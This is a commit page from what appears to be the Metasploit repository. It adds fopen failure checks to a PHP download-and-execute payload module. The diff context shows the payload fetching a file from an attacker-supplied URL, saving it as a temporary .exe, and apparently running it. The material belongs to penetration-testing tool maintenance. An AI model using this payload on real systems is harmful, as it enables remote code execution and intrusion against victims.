Skip to content

Commit 83cb65d

Browse files
committed
Don't spin CPU if an fopen fails
Because PHP is happy to continue on just fine in that case and the loop below will run unbounded spewing warnings about reading from `false`.
1 parent 3c7f781 commit 83cb65d

File tree

1 file changed

+2
-0
lines changed

1 file changed

+2
-0
lines changed

modules/payloads/singles/php/download_exec.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,9 @@ def php_exec_file
5656
}
5757
$fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe";
5858
$fd_in = fopen("#{datastore['URL']}", "rb");
59+
if ($fd_in === false) { die(); }
5960
$fd_out = fopen($fname, "wb");
61+
if ($fd_out === false) { die(); }
6062
while (!feof($fd_in)) {
6163
fwrite($fd_out, fread($fd_in, 8192));
6264
}

0 commit comments

Comments
 (0)